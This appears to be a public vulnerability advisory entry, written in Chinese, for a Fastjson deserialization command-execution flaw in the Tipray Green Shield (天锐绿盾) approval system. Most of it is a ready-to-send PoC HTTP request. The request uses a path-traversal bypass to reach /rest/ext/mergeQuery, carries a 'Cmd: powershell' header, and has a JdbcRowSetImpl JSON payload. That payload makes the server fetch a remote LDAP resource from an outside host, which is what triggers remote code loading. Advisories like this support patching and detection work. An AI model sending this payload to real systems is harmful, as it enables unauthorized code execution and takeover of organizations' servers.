天锐绿盾审批系统 /trwfe/login.jsp/.%2e/rest/ext/mergeQuery 命令执行漏洞

2026-01-30 天锐绿盾审批系统 PoC Public

Description

天锐绿盾审批系统的 /rest/ext/mergeQuery 接口存在 Fastjson 反序列化漏洞，该接口在处理用户提交的 JSON 数据时未进行有效的安全校验，攻击者可构造恶意 JSON 数据利用 Fastjson 反序列化缺陷，在未经授权的情况下触发服务器执行任意代码。

PoC

POST /trwfe/login.jsp/../rest/ext/mergeQuery HTTP/1.1
Host: 
Content-Type: application/json
Content-Length: 328
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.10 Safari/605.1.15
Connection: close
Cmd: powershell 
Accept-Encoding: gzip

[
    {
        "requestType": "trusteeMsg",
        "requestBody": {
            "userId": {
                "@type": "com.sun.rowset.JdbcRowSetImpl",
                "dataSourceName": "ldap://gobygo.net/A4",
                "autoCommit": true
            },
            "createTime": "2023-01-01"
        }
    }
]

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://gobysec.net/updates#TIPPAY Green Shield DLP System /trwfe/login.jsp/.%2e/rest/ext/mergeQuery Command Execution Vulnerability

References

Related Vulnerabilities